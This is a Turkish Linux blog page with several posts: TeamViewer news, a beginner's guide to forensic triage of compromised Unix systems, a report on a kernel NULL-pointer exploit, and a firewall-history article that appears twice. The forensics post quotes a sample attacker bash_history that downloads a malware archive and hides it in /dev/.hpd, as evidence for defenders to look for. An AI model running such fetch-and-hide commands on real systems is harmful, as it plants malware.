Nis 18

Dünyanın herhangi bir yerindeki bilgisayarınıza birkaç saniye içerisinde bağlanmanızı sağlayan ve ücretsiz bir yazılım olan TeamViewer, platform desteğini genişletmeye devam ediyor. Linux platformu için beta aşamasında denenmeye başlayan yazılım, TeamViewer'a güvenen 60 milyonun üstündeki kullanıcı tarafından kullanılıyor.

Yazılım aracılığı ile TeamViewer'ın kurulu olduğu herhangi bir bilgisayara bağlanabiliyorsunuz. Yani Linux-Linux bağlantısı kurabileceğiniz gibi Linux-Windows bağlantısına da izin veriyor. Bu haberin Linux kullanıcılarını ne kadar memnun edeceği çok tartışılacak gibi duruyor. Çünkü bizim tahminlerimize göre Linux kullanıcılarının başı, Windows kullanan arkadaşları tarafından yardım isteklerinden ötürü daha sık ağrıyacağa benziyor.

Ticari amaç güdülmediği sürece ücretsiz kullanılabilen TeamViewer, şirketler tarafından yardım servisi olarak kullanılmak istediğinde lisans ücreti talep ediliyor.

Kaynak:Shiftdelete.net

Yazan : ceyhun çamlı \\ Etiketler: ,

Şub 26

Hazırlanan teknik yazının amacı *NIX sistemleri özelinde adli bilişim konusundaki Türkçe çalışmaların eksikliğini bir ölçüde  de olsa kapatmaktır.

Bu yazı  *NIX sistemlerinde uygulanabilecek ve sadece temel  adli (forensik) analiz tekniklerini kapsayacaktır. Kullanılan yazılımlar oldukça genel tutulmaya çalışılmıştır. Sizin karşı karşıya bulunduğunuz durumlar için daha uygun bir yazılım var ise ona yönelmeniz daha doğru olacaktır.

Bu teknik yazı ve ardından yayınlanması planlanan yazılar sonunda anlatılan tekniklerle:

·         Ele geçirilmiş sistemleri inceleyebilir,

·         Sistemin nasıl ele geçirildiğini öğrenebilir,

·         İleri düzeyde inceleme için gerekli temel bilgilere sahip olabilirsiniz.

Önemli Uyarı: Herhangi bir adım atmadan önce önemli bir karar verilmelidir. Eğer var olan saldırıya kolluk kuvvetlerini dahil edilecek ve saldırgan hakkında soruşturma başlatılacaksa kesinlikle sistemi olduğu şekilde bırakmak ve hiç bir şekilde sistem üzerinde bir değişiklik yapmamak gerekmektedir.

Saldırı sonrası yapılacak herhangi bir değişiklik, var olan delilleri değiştirebilir ya da tümüyle ortadan kaldırabilir. Bu nedenle şirketlerin bu türlü durumlar için "saldırıya uğramış sistemlere dokunmama ve asla fişini çekme" kuralını uygulamasında yarar vardır. Bu şekilde kolluk kuvvetleri varıncaya kadar deliller korunmuş olur.

Bilişim Suçları ve Sistemleri Şube Müdürlüğüne bağlı görevli memurlar, büyük olasılıkla komple bir şekilde saldırıya uğramış sistemi veya en azından sürücülerini içindeki bilgileri güvenli bir biçimde saklamak için isteyeceklerdir. Bu noktadan itibaren sizin adli bilişim analiziniz bitmiş bulunmaktadir.

Eğer saldırıyı kendi bünyenizde araştıracaksanız bu makalede ve sonrasında yayınlanacak makalelerde sunulan örneklerden faydalanılabilir. 

Motivasyon

Kimse mükemmel değildir. Herkes hata yapabilir. Ancak, aynı hataya iki kez düşmekten mümkün olduğunca kaçınılmalıdır.

Bu makalede sunulan örnekler için bir Linux dağıtımı olan Ubuntu 8.10 kullanılmıştır. Daha önce yayınlanan "Fail2ban ile Linux Sistemlerini Koruma " makalesinde  belirtildiği üzere bu teknikler pek az bir farkla tüm Linux sistemleri için geçerli olacaktır. Yazılarda yer alan komutlardan bazıları sadece root kullanıcısının çalıştırabileceği komutlardır. Bu nedenle root olarak sisteme giriş yapılması veya sudo ile komutların çalıştırılması gerekmektedir.

Ağ Bağlantılarının Kontrol Edilmesi

Ağ bağlantıları ve açık portlar netstat komutu ile kontrol edilir.

Kullanım

# netstat -an 

Bu komut yardımıyla herhangi bir arka kapı "backdoor" var ise görülebilir.

tcp 0 0 0.0.0.0:6697 0.0.0.0:* LISTEN 

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 

tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN 

Yukarıdaki çıktıya göre IRC için kullanılan 6697 portu açık görünmekte. Bu iyiye  işaret olmayabilir.  tcpdump yardımı ile bu porttaki bağlantı dinlenebilir. (tcpdump ile ilgili bir teknik yazıyı ilerleyen günlerde yayınlanacaktır.)

# tcpdump port 6697

 Bu noktada saldırganların "hacker" iletişimi büyük ihtimalle görülebilir ve sistemin nasıl ele geçirildiği hakkında bilgi sahibi olunabilir.

Son Giriş Yapan IP'leri Kontrol Edilmesi

Brute-force attack  oldukça popüler bir saldırı şeklidir. Saldırıyı gerçekleştiren kişiler last komutu yardımıyla saptanabilir.

last  komutu  kullanıcının  giriş ve çıkış zamanlarının belirlenmesinden,  bilgisayar-adı (hostname) ve IP adresi bilgilerinin elde edilmesinde kullanılabilir.

# last -25

Yukarıdaki komut, sistemde oturum açan son 25 kullanıcı hakkında bilgi verir.

 /var/log/auth_log  dosyası da  başarılı veya başarısız oturum açma girişimleri ile ilgili bilgiler içermektedir.

Son Çalıştırılan Komutları Öğrenme

Hiç bir suç mükemmel değildir. Bu adli bilişim için çok doğru bir saptamadır. Çok az sayıda saldırgan parmak izini bırakmadan dijital suç işleyebilir. 

Örneğin, birçok saldırgan .bash_history dosyasında önemli ip uçları bırakarak sistemi terkeder. .bash_history dosyası kullanıcıların çalıştırdığı son komutları içerir.

bash_history dosyası bize saldırganların neler yaptıkları, hangi programları yükledikleri, indirdikleri dosyaları nerelerden aldıkları hakkında bir çok bilgi verebilir. Saldırıya uğramış bir Linux makinesi aşağıdaki tarzda kayıtlar içerebilir.

wget http://malware.tar.gz 

gunzip malware.tar.gz 

tar xf malware.tar 

cd hpd 

cd .. 

rm malware.tar 

cd /dev/.hpd 

Yukarıda görülen komutlar bize kötü amaçlı yazılımın nereden alındığı, nasıl çalıştırıldığı ve nereye yüklendiği hakkında bir fikir vermektedir. Bu bilgiler elde edildikten sonra, yapılması gereken ilk iş saldırganın klasörlerine detaylı bir şekilde göz atmak olmalıdır.

.bash_history dosyasının bilgileri ne biçimde tuttuğu konusunda dikkatli olunmalıdır. .bash_history  dosyası sadece kullanıcı oturumu kapattıktan sonra onun çalıştırdığı tüm komutları gösterir.

Eğer saldırganın hala açık bulunan bir oturumu varsa ve onun .bash_history dosyası inceleniyorsa, boş bir dosya görülebilir.

Bu gibi durumlarda açık olan oturumları görebilmek için who komutunu kullanılabilir.

# who 

user1 pts/0 Nov 18 23:33 (1.2.3.4)

user2 pts/1 Nov 16 10:22 (5.6.7.8) 

Bu sistemde user1 ve user2 olmak üzere iki aktif kullanıcı görünmektedir. Eğer user2 hesabı ele geçirilmiş bir hesap ise, tcpdump ile bu kullanıcının etkinliği izlenebilir.

# tcpdump host 5.6.7.8 -w demo.dump 

Bu komut ile kullanıcının oturumu açtığı IP olan 5.6.7.8' i izlenerek demo.dump dosyasına tüm trafiği yazılmaktadır. Daha sonra tcpdump komutunun -r parametresi ile bu dosya okunabilir.

history komutuda oturumu açtığınız kullanıcının son çalıştırılmış komutlarını listeler. 

.bash_history Dosyasının Etkin Kullanımı

history komutu ve .bash_history dosyasından daha etkin bilgi alabilmek icin /etc/profile dosyasında bazı düzenlemeler yapılabilir.

/etc/profile dosyası uygun bir editör ile açılarak sonuna aşağıdaki satır eklenmelidir.

export HISTTIMEFORMAT="%h/%d – %H:%M:%S "

Artık komutların ne zaman çalıştırıldığıda görülebilecektir.

Önceden çallıştırılmış komutların zamanı .bash_history dosyasında olmayacaktır. Bu nedenle  sistem daha ele geçirilmeden bu değişikliğin  yapılması  gerekmektedir.

Sonuç

Bu teknik yazıda ele geçirilmiş (compromised) Unix/Linux sistemleri hakkında ağ bağlantısını kontrol etme, aktif oturumu olan kullanıcıları öğrenme, kullanıcıların son çalıştırdığı komutları görme, IP'lerini ve makine isimlerini öğrenme gibi temel bilgiler  edinilmesi hedeflendi.

Bu bilgilerin hepsi davetsiz misafirleri kontrol etmek ve sistemde var olan açıkları öğrenmek için oldukça kritik öneme sahiptir.

Bir sonraki teknik yazıda dijital saldırıya uğramış Linux sistemlerini incelemek için kullanabilecek temel araçlar hakkında bilgi verilecektir.

İsmail Güneydaş

http://www.bilgiguvenligi.gov.tr/adli-analiz/unix-linux-isletim-sistemlerinde-adli-bilisim-1.html

   

Yazan : ceyhun çamlı \\ Etiketler: , , , , , , , , ,

Tem 19

Tartışmalı açığın zararını zararlı kodla kanıtladı.Grsecurity’den Brad Spengler’ın yayınladığı, Linux kernel açığından faydalanan zararlı kodlar tehlike çanlarının çalmasına sebep oldu. Açık kaynaklı işletim sistemlerinin güvenliğini arttıran yazılımlar geliştiren grsecurity, Linux kernel’indeki açıktan faydalanan zararlı kodu, kaynak kodu incelemeleriyle tespit etmenin neredeyse imkansız olduğunu açıkladı.

Güvenlik açıkları hem Windows’da olacak diye bir kural yok: İşte Linux’u çok üzecek bir gelişme.

 

Immunity Inc.’den tecrübeli güvenlik araştırmacısı Bas Alberts’a göre “NULL pointer” hatasından faydalanan zararlı kodun, en üst düzey güvenlik ayarlamalarına sahip Linux sürümlerini bile etkilemesi mümkün.

Güvenlik açığı Linux’un birkaç parçasında yer alıyor. Bunlardan biri net/tun fonksiyonlarında. Linux aslında değişkenin NULL’u işaret etmediğinden emin oluyor. Ancak derleyici optimizasyon rutinleri esnasında bu doğrulamadan sorumlu kod satırlarını çıkartıyor. Sonuçta değişken NULL yani 0′ı gösterdiğinde kernel çekirdeği normalde erişmemesi gereken yasak hafıza bölümlerine erişiyor. Bu da büyük bir güvenlik açığına sebep oluyor.

SELinux yani güvenliği geliştirilmiş Linux!

“NULL pointer dereference” hatasının Linux kernel’inin 2.6.3 ve 2.6.30.1 sürümlerinde olduğu doğrulandı. Grsecurity’den Brad Spengler’ın açıktan faydalanan zararlı kodu tek başına uzaktan kontrole imkan tanımıyor. Bununla birlikte kullanıcı haklarının elden geçirilmesi ve bir PHP uygulamasının açığını da kullanılarak çok daha fazlasının yapılması mümkün. Şu anda Spengler’ın hazırladığı zararlı kod, RedHat Enterprise Linux’u etkiliyor ve sadece SELinux yani Security-Enhanced Linux aktifken veya PulseAudio kuruluyken çalışıyor.

Spengler bu zararlı kodu yayınlama kararını Linux kernel’ini geliştirenlerin mevcut program hatasını bir güvenlik açığı olarak kabul etmediğini anlayınca vermiş. Biz bu açığın Spengler ve Linux geliştiricileri arasında bir tartışma konusu olduğunu belirtelim. Bazı geliştiriciler bunun Unix’ten miras bir açık olduğunu ve düzeltilmesinin uzun vakit alacağını belirtiyor.

Kısacası hali hazırda olan tehlikeden ziyade, potansiyel tehlike çok daha önemli. Durumun ciddiyetinin kötü niyetli kişilerin değil, güvenlik uzmanları tarafından fark edilmesi ve hatanın ne kadar kötüye kullanılabileceğini zararlı kod yazılarak denenmesi, kötü niyetli kişiler bilgisayaralara zarar vermeden erken tedbir alınmasını sağlayabilir.

Kaynak : Chip Online

Yazan : ceyhun çamlı \\ Etiketler:

May 07

Her yeni kernel, güvenlik duvarı yaratma ve yönetmede kullanılan araçlar için gelişmeler getiriyor.

Linux, evlerinde ağ kuranlardan, kendi ağlarını kuran firmalar ve ticari ürünlerinde içeren üretici firmalara kadar pek çok güvenlik duvarı inşa eden için seçilen bir işletim sistemi.

Her güvenlik cihazında olduğu gibi, bir Linux güvenlik duvarı kurduktan sonra arkanıza yaslanıp ilgisiz kalamazsınız. Güvenlik yamaları ve alarmlarını takip etmeli ve kernelinizi hep gözden geçirmeli ve güvenliği arttırmak ve saldırılardan korunmak için güncellemelisiniz.

Linux yıllar geçtikçe geliştiği gibi güvenlik duvarı yetenekleride gelişiyor. İlk Linux güvenlik duvarları paket-filtreleme kuralları yaratıp yönetmek için ipfwadmin aracını kullandı. Linux kernel 2.2 geçtiğimiz iki yılda 2.0`ın yerine geçtiğinden beri, ipchains`de ipfwadmin`in yerini aldı. Bu sene kernel 2.4`ün çıkmasıyla pek çok ticari güvenlik duvarında bulunan durumsal paket inceleme (stateful packet inspection) çözümü artık Linux`da da mevcut.

Linux ile güvenlik duvarı çözümünün 3 yüzü
Linux sistemlerdeki güvenlik duvarlarının en son 3 üretim sürümü Linux kernel`lerine (2.0,2.2,2.4 – Çift rakamlı Linux kernel minör sürüm numaraları kernel`in üretim amaçları için uygun olduğunu gösterir. Tek sayılı Linux kernel minör sürüm numaraları sadece deneysel ve geliştirme kullanımı için uygun olduğunu gösterir) karşılık gelen 3 farklı uygulaması vardır.

Tamamen olmasada 2.0 eskimeye başladı. Red Hat Linux 1999`da çıkan v5.2 sürümünden beri kernel 2.0`ı kullanmadı. Geçen sene, çoğu dağıtım kenerl 2.2 kullanıyordu ve 2.4 bu sene başlarında çıktı.

Değişen kernel sürümleri Linux güvenlik duvarı çözümü için kritik çünkü her yeni sürüm güvenlik duvarı yönetimi mekanızmasını değiştiriyor. Kernel 2.0`ın IP Firewall (IPFW) mekanızması için arabirim sağlayan ipfwadmin programı, kernel 2.2`de ipchains ile değiştirildi. Ve ipchains`in yerinide kernel 2.4`de iptables aldı.

IP paketleriyle uğraşmaktan Linux kernel sorumlu olsada, sistem yöneticisi kernel`e hangi paketleri geçireceğini, sessizce bloklayacağını yada gönderene bir hata mesajı ile bloklayacağını belirleyen kuralları yaratmalı. Tabiki bu klasik IP filtreleme güvenlik duvarı kurulumu: Güvenlik duvarı IP başlıklarını kontrol eder, değerlendirir ve filtre kuralları ile karşılaştırır.

Çoğu Linux kullanıcısı, ağ güvenlik araçları yapmada kullanan üretici firmalar dahil kernel 2.0 ile başladılar. Her yeni kernel sürümü gelişmeler ve önemli yeni özellikler getirsede, sistem yöneticileri genelde iyi çalışan Linux sistemleri güncellemeyi pek düşünmediler. Bu sebeple pek çok sistem hala kernel 2.0 çalıştırıyor çünkü işe yarıyor ve güncellemenin getireceği bozulmalar yada bölünmeler buna değmez. Ayrıca ağ güvenlik araçları kullanıcıları Linux kullandıklarını farkında bile olmayabilir yada güncelleyecek yeterlilikte olmayabilir.

Sky-NetWEB`de bir Unix sistem yöneticisi ve Bastille Linux Project`de (http://www.bastille-linux.org) koordinatör olan Jon Lasser`e göre kernel 2.0`ın ‘ipfwadmin BSD sistemlerinde mevcut olan araçların bir yansısı.’ 1997`de çıktığında kernel 2.0, Linux, BSD veya diğer Unix-tabanlı işletim sistemleri ile çalışan ağ sorumluları için mükemmel bir mükemmel bir seçim idi. IPFW için kuralları sıfırdan yazmak yerine bir sistem yöneticisi var olan BSD-tabanlı güvenlki duvarlarının kurallarını kullanabilirdi.

Ipfwadmin basit, düşük-ihtiyaç IP paket filtreleme gereksinimleri için uygun. Örnek ipfwadmin filtreleme kuralları pek çok yerde mevcut ve çoğu Linux sistem yöneticisi kolaylıkla paket filtreleme güvenlik duvarları inşa edebilirler. Ipfwadmin yüksek hızda internet bağlantıları olan ve evlerinde ağ kurmuş olanların çoğu tarafından kullanılmakta.

Kernel 2.2`nin 1999`da çıkmasıyla ipchains güvenlik duvarı çözümü için ileri atılmış bir adım olarak kabul edildi. Ek olarak ipfwadmin ile geriye uyumlu olmanın yanında, geliştirilmiş yazım, IP üzerindeki katmanlarda protokol testi ve wildcard arabirimlerde filtreleme desteği gibi yeni özellikler getirdi.

Linux Firewalls kitabının yazarı Robert Zeigler`e göre ‘ipchains optimizasyon ve filtreleme performansı konularında büyük kazanç olabilecek kullanıcı-tanımlı zincirler ekledi.’ ipchains`in dinamik olması ile ipfwadmin`den daha gelişmiş oluyor. Kurallar ‘chains’ adı verilen tablolar içinde (‘input’, ‘output’ ve ‘forward’) tutuluyor. Yeni kurallar güvenlik duvarı çalışırkan bu tabloların herbiri içinde en başa yada sona eklenebiliyor. Bu, güvenlik duvarı kurallarını günün belirli saatine göre değiştirme veya yeni bulunan tehditlere karşı koymayı mümkün kılıyor.

Ipchains`in diğer önemli bir özelliği ise ICMP alt-tip mesaj kodlarına erişebilmesi. Zeigler ‘Bu küçük birşey gibi görünebilir. Fakat bu sayede güvenlik duvarı sistemleri için önemli olan Type 3 hata kodları filtrelenebilir.’ diyor. (‘port unreachable error’ içeren bir ICMP pakedi saldırganların potansiyel olarak zayıf sistemleri bulabilmesine yardımcı oluyor).

Durumsuz Filtreleme ve Durumsal-Paket inceleme
Tekrar dizayn edilmesine karşın ipchains, ipfwadmin gibi hala bir IP paket filtreleme güvenlik duvarı. Paket filtreleleri kullanışlı fakat günümüzde pek çok enterprise-sınıfı güvenlik duvarı, daha kapsamlı bir yaklaşım olan durumsal-paket inceleme teknolojisini kullanır. Kernel 2.4 ve iptables arabirimi yeni bir mekanizma getirdi:
Netfilter, IPFW modülünün yerine geçen bir kernel modülü. IPFW gibi netfilter`da güvenlik duvarı kuralları ile bir pakete ne yapacağına karar verir. Fakat netfilter basit filtreleme yerine durumsal paket inceleme kullanır.
Bir durumsuz paket filtreleme güvenlik duvarı paketleri kabul eden, başlıklarını inceleyen ve sistem yöneticisi tarafından belirlenen kurallara göre pakedi geçirip geçirmeyeceğine karar veren bir güvenlik duvarıdır.

Her tip güvenlik duvarı için tipik yaklaşım kesin bir politika ile başlamaktır. Varsayılan olarak tüm paketlerin erişimi engellenmeli, ve sadece kurallarda izin verilmişse geçirilmelidir. Tipik olarak sadece belirli bazı TCP/IP başlıkları incelenir, böylece belirli IP adreslerinden veya portlarından gönderilen ve alınan paketlere izin verilir yada bloklanır.

Paket-filtreleme güvenlik duvarlarını ayarlamak zordur, sistem yöneticisinin güçlü bir TCP/IP ağları ve güvenlik bilgisi olmasını gerektirir. Düzgün yapılandırılmayan kurallar güvenlik açıkları ile sonuçlanabilir.

En tehlikelisi paket filtreleme kavramı bilgisinin eksikliğidir. Paket filtreleme güvenlik duvarları ‘durum bilgisini korumazlar’. Diğer bir deyişle, gelen yada giden paketlerin durum kayıtlarını tutmazlar. Buda bir pakedin geçerli görünebileceği fakat gerçekte bir saldırının parçası olabileceği anlamına gelir.

Örneğin, çoğu paket filtreleri içeriye gelen istenmeyen trafiği bloklarlar, fakat içerdeki bir hostun isteğine cevap olarak gelen bir pakete izin verilir. Eğer güvenlik duvarı dışarı giden isteklerin bir kaydını tutmuyorsa, bir paket filtresi, gerçek bir cevap ile bir saldırgan tarafından gerçek bir cevap gibi gösterilmek üzere değiştirilmiş pakedi birbirinden ayıramaz.

Durumsal paket filtreleme güvenlik duvarları IP başlık bilgisini ve paket içeriğini kontrol eder ve içerdeki host`ların haberleştiği dış hostların kaydını tutar. Örneğin bir UDP pakedi bir DNS isteğine cevap olarak geliyor göründüğünde durumsal-inceleme güvenlik duvarı bunu orjinal istekle karşılaştıracaktır. Eğer orjinal istek yoksa güvenlik duvarı pakedi bloklayacaktır.

Aynı şekilde, bir durumsal-inceleme güvenlik duvarı Web sunucusundan gelen paketlerin içerdeki bir makinadan yapılan isteğe karşılık olup olmadığınıda kontrol edebilir. Durumsuz-filtreleme güvenlik duvarları bu tip saldırıları algılayamazlar.

Netfilter IPFW`ye karşı
Eski IPFW ile Netfilter arasındaki en büyük fark Netfilter`ın durumsal-paket-inceleme içeriyor olması. Ve güvenlik duvarı kullanıcıları için büyük bir değişiklikde Netfilter`ın güvenlik duvarı kurallarının yönetimi için iptables kullanıyor olması. Sistem yöneticileri için iyi bir haber uyumluluk modülünün olması, böylece ipchains kuralları iptables ile kullanılabiliyor.

iptables ile ipchains arasında önemli farklar var. ipchains tarafından kullanılan kurallar zincirleri yerine, hedefi gösteren zincirleri içeren tablolar (tables) geldi. Hedef, bir güvenlik duvarı aksiyonunu temsil ediyor: bir pakedi reddet, yönlendir, kabul et veya logla. Tablolar ile, aynı paket için çoklu hedefler kullanabilirsiniz. Örneğin, bir pakedi loglayıp yönlendirebilir veya loglayıp reddedebilirsiniz.
Netfilter`daki bir diğer özellik ise Ağ adres çevriminin (Network Address Translation – NAT) gelişmiş kullanımı. IPFW`de olduğu gibi NAT`ı bir hedef olarak uygulamaktansa Netfilter hem gelen gemde giden NAT fonksiyonları ile daha iyi entegre olan yeni bir NAT modülü sağlıyor. Gelen NAT (Inbound NAT-INAT) tüm ağın tek bir IP adresini paylaşabilmesini sağlıyor, Gİden NAT (Destination NAT-DNAT) ağ içinden gelen paketleri direk hedefe değilde önce -örneğin proxy sunucuya- yönlendiriyor.

Netfilter ayrıca tek bir kaynaktan gelebilecek SYN paketlerinin sayısınıda sınırlayabiliyor. Böylece SYN-flood DoS saldırılarına karşı bir koruma sağlıyor. Paket filreleme güvenlik duvarlarını aşmak için bozuk TCP başlıkları kullanan gizli (stealth) taramaları (örneğin port tarama aracı nmap) algılayabiliyor.
Linux güvenlik duvarı kullanıcıları Netfilter`in durumsal-paket-inceleme fonksiyonlarını hevesle bekliyorlardı. Linux Firewalls yazarı Zeigler Netfilter ve iptables bu konudaki olumlu görüşlerini şöyle belirtiyor: ‘durum ve NAT modüllerinin sunduğu özellikler çok büyük bir kazanç ve herkes mümkün olduğunca çabuk geçiş yapacaktır.’ Fakat Zeigler aynı zamanda birde uyarıda bulunuyor: ‘Öğrenilmesi gereken çok şey var, bir iki günde yapmayı hayal etmeyin.’

Eskisini mi kullanacaksınız, yenisine mi geçecekmisiniz?
Geçtiğimiz yıllardaki yönetici fonksiyonlarının evrimini gözönünde bulundurursak, Linux güvenlik duvarları daha güvenli hale geldimi? Evet ve Hayır. Ever çünkü her yeni sürümle ve özellikle bug`lar düzeltildi. Hayır çünkü her yeni yazılım yeni riskleri ortaya çıkarır.
Case Western üniversitesi doktora yapan ve bir ağ güvenliği uzmanı olan Jose Nazario ‘Linux kernel`inin fixlediklerinden daha çok bug içerenler sunduğu uzun ve denenmiş bir tarihi vardır.’ diyor. ‘Birşeyi fixlemek isterken başka değerli bir şeyi bozuyor olmanız mümkün.’
Geçtiğimiz yıllarda Linux kernel modüllerinde birkaç ciddi güvenlik açığı bulundu. En son olarak Nisan ayında rapor edilen, Netfilter modülünün FTP trafiğini işlemesiyle ilgili olandı. FTP istemci ile sunucu arasında iki bağlantı seti gerektirdiğinden diğer protokollerden biraz farklı. Birincisi istemciden sunucuya kontrol bağlantısı, ikincisi sunucudan istemciye bilgi-transfer bağlantısı. (Tüm FTP bağlantıları bu şekilde çalışmayabilir fakat bu protokol tarafından orjinal metoddur).
 

Her yeni kernel, güvenlik duvarı yaratma ve yönetmede kullanılan araçlar için gelişmeler getiriyor.
 

Linux, evlerinde ağ kuranlardan, kendi ağlarını kuran firmalar ve ticari ürünlerinde içeren üretici firmalara kadar pek çok güvenlik duvarı inşa eden için seçilen bir işletim sistemi.

Her güvenlik cihazında olduğu gibi, bir Linux güvenlik duvarı kurduktan sonra arkanıza yaslanıp ilgisiz kalamazsınız. Güvenlik yamaları ve alarmlarını takip etmeli ve kernelinizi hep gözden geçirmeli ve güvenliği arttırmak ve saldırılardan korunmak için güncellemelisiniz.

Linux yıllar geçtikçe geliştiği gibi güvenlik duvarı yetenekleride gelişiyor. İlk Linux güvenlik duvarları paket-filtreleme kuralları yaratıp yönetmek için ipfwadmin aracını kullandı. Linux kernel 2.2 geçtiğimiz iki yılda 2.0`ın yerine geçtiğinden beri, ipchains`de ipfwadmin`in yerini aldı. Bu sene kernel 2.4`ün çıkmasıyla pek çok ticari güvenlik duvarında bulunan durumsal paket inceleme (stateful packet inspection) çözümü artık Linux`dada mevcut.

Linux ile güvenlik duvarı çözümünün 3 yüzü
Linux sistemlerdeki güvenlik duvarlarının en son 3 üretim sürümü Linux kernel`lerine (2.0,2.2,2.4 – Çift rakamlı Linux kernel minör sürüm numaraları kernel`in üretim amaçları için uygun olduğunu gösterir. Tek sayılı Linux kernel minör sürüm numaraları sadece deneysel ve geliştirme kullanımı için uygun olduğunu gösterir) karşılık gelen 3 farklı uygulaması vardır.

Tamamen olmasada 2.0 eskimeye başladı. Red Hat Linux 1999`da çıkan v5.2 sürümünden beri kernel 2.0`ı kullanmadı. Geçen sene, çoğu dağıtım kenerl 2.2 kullanıyordu ve 2.4 bu sene başlarında çıktı.

Değişen kernel sürümleri Linux güvenlik duvarı çözümü için kritik çünkü her yeni sürüm güvenlik duvarı yönetimi mekanızmasını değiştiriyor. Kernel 2.0`ın IP Firewall (IPFW) mekanızması için arabirim sağlayan ipfwadmin programı, kernel 2.2`de ipchains ile değiştirildi. Ve ipchains`in yerinide kernel 2.4`de iptables aldı.

IP paketleriyle uğraşmaktan Linux kernel sorumlu olsada, sistem yöneticisi kernel`e hangi paketleri geçireceğini, sessizce bloklayacağını yada gönderene bir hata mesajı ile bloklayacağını belirleyen kuralları yaratmalı. Tabiki bu klasik IP filtreleme güvenlik duvarı kurulumu: Güvenlik duvarı IP başlıklarını kontrol eder, değerlendirir ve filtre kuralları ile karşılaştırır.

Çoğu Linux kullanıcısı, ağ güvenlik araçları yapmada kullanan üretici firmalar dahil kernel 2.0 ile başladılar. Her yeni kernel sürümü gelişmeler ve önemli yeni özellikler getirsede, sistem yöneticileri genelde iyi çalışan Linux sistemleri güncellemeyi pek düşünmediler. Bu sebeple pek çok sistem hala kernel 2.0 çalıştırıyor çünkü işe yarıyor ve güncellemenin getireceği bozulmalar yada bölünmeler buna değmez. Ayrıca ağ güvenlik araçları kullanıcıları Linux kullandıklarını farkında bile olmayabilir yada güncelleyecek yeterlilikte olmayabilir.

Sky-NetWEB`de bir Unix sistem yöneticisi ve Bastille Linux Project`de (http://www.bastille-linux.org) koordinatör olan Jon Lasser`e göre kernel 2.0`ın ‘ipfwadmin BSD sistemlerinde mevcut olan araçların bir yansısı.’ 1997`de çıktığında kernel 2.0, Linux, BSD veya diğer Unix-tabanlı işletim sistemleri ile çalışan ağ sorumluları için mükemmel bir mükemmel bir seçim idi. IPFW için kuralları sıfırdan yazmak yerine bir sistem yöneticisi var olan BSD-tabanlı güvenlki duvarlarının kurallarını kullanabilirdi.

Ipfwadmin basit, düşük-ihtiyaç IP paket filtreleme gereksinimleri için uygun. Örnek ipfwadmin filtreleme kuralları pek çok yerde mevcut ve çoğu Linux sistem yöneticisi kolaylıkla paket filtreleme güvenlik duvarları inşa edebilirler. Ipfwadmin yüksek hızda internet bağlantıları olan ve evlerinde ağ kurmuş olanların çoğu tarafından kullanılmakta.

Kernel 2.2`nin 1999`da çıkmasıyla ipchains güvenlik duvarı çözümü için ileri atılmış bir adım olarak kabul edildi. Ek olarak ipfwadmin ile geriye uyumlu olmanın yanında, geliştirilmiş yazım, IP üzerindeki katmanlarda protokol testi ve wildcard arabirimlerde filtreleme desteği gibi yeni özellikler getirdi.

Linux Firewalls kitabının yazarı Robert Zeigler`e göre ‘ipchains optimizasyon ve filtreleme performansı konularında büyük kazanç olabilecek kullanıcı-tanımlı zincirler ekledi.’ ipchains`in dinamik olması ile ipfwadmin`den daha gelişmiş oluyor. Kurallar ‘chains’ adı verilen tablolar içinde (‘input’, ‘output’ ve ‘forward’) tutuluyor. Yeni kurallar güvenlik duvarı çalışırkan bu tabloların herbiri içinde en başa yada sona eklenebiliyor. Bu, güvenlik duvarı kurallarını günün belirli saatine göre değiştirme veya yeni bulunan tehditlere karşı koymayı mümkün kılıyor.

Ipchains`in diğer önemli bir özelliği ise ICMP alt-tip mesaj kodlarına erişebilmesi. Zeigler ‘Bu küçük birşey gibi görünebilir. Fakat bu sayede güvenlik duvarı sistemleri için önemli olan Type 3 hata kodları filtrelenebilir.’ diyor. (‘port unreachable error’ içeren bir ICMP pakedi saldırganların potansiyel olarak zayıf sistemleri bulabilmesine yardımcı oluyor).

Durumsuz Filtreleme ve Durumsal-Paket inceleme
Tekrar dizayn edilmesine karşın ipchains, ipfwadmin gibi hala bir IP paket filtreleme güvenlik duvarı. Paket filtreleleri kullanışlı fakat günümüzde pek çok enterprise-sınıfı güvenlik duvarı, daha kapsamlı bir yaklaşım olan durumsal-paket inceleme teknolojisini kullanır. Kernel 2.4 ve iptables arabirimi yeni bir mekanizma getirdi:
Netfilter, IPFW modülünün yerine geçen bir kernel modülü. IPFW gibi netfilter`da güvenlik duvarı kuralları ile bir pakete ne yapacağına karar verir. Fakat netfilter basit filtreleme yerine durumsal paket inceleme kullanır.
Bir durumsuz paket filtreleme güvenlik duvarı paketleri kabul eden, başlıklarını inceleyen ve sistem yöneticisi tarafından belirlenen kurallara göre pakedi geçirip geçirmeyeceğine karar veren bir güvenlik duvarıdır.

Her tip güvenlik duvarı için tipik yaklaşım kesin bir politika ile başlamaktır. Varsayılan olarak tüm paketlerin erişimi engellenmeli, ve sadece kurallarda izin verilmişse geçirilmelidir. Tipik olarak sadece belirli bazı TCP/IP başlıkları incelenir, böylece belirli IP adreslerinden veya portlarından gönderilen ve alınan paketlere izin verilir yada bloklanır.

Paket-filtreleme güvenlik duvarlarını ayarlamak zordur, sistem yöneticisinin güçlü bir TCP/IP ağları ve güvenlik bilgisi olmasını gerektirir. Düzgün yapılandırılmayan kurallar güvenlik açıkları ile sonuçlanabilir.

En tehlikelisi paket filtreleme kavramı bilgisinin eksikliğidir. Paket filtreleme güvenlik duvarları ‘durum bilgisini korumazlar’. Diğer bir deyişle, gelen yada giden paketlerin durum kayıtlarını tutmazlar. Buda bir pakedin geçerli görünebileceği fakat gerçekte bir saldırının parçası olabileceği anlamına gelir.

Örneğin, çoğu paket filtreleri içeriye gelen istenmeyen trafiği bloklarlar, fakat içerdeki bir hostun isteğine cevap olarak gelen bir pakete izin verilir. Eğer güvenlik duvarı dışarı giden isteklerin bir kaydını tutmuyorsa, bir paket filtresi, gerçek bir cevap ile bir saldırgan tarafından gerçek bir cevap gibi gösterilmek üzere değiştirilmiş pakedi birbirinden ayıramaz.

Durumsal paket filtreleme güvenlik duvarları IP başlık bilgisini ve paket içeriğini kontrol eder ve içerdeki host`ların haberleştiği dış hostların kaydını tutar. Örneğin bir UDP pakedi bir DNS isteğine cevap olarak geliyor göründüğünde durumsal-inceleme güvenlik duvarı bunu orjinal istekle karşılaştıracaktır. Eğer orjinal istek yoksa güvenlik duvarı pakedi bloklayacaktır.

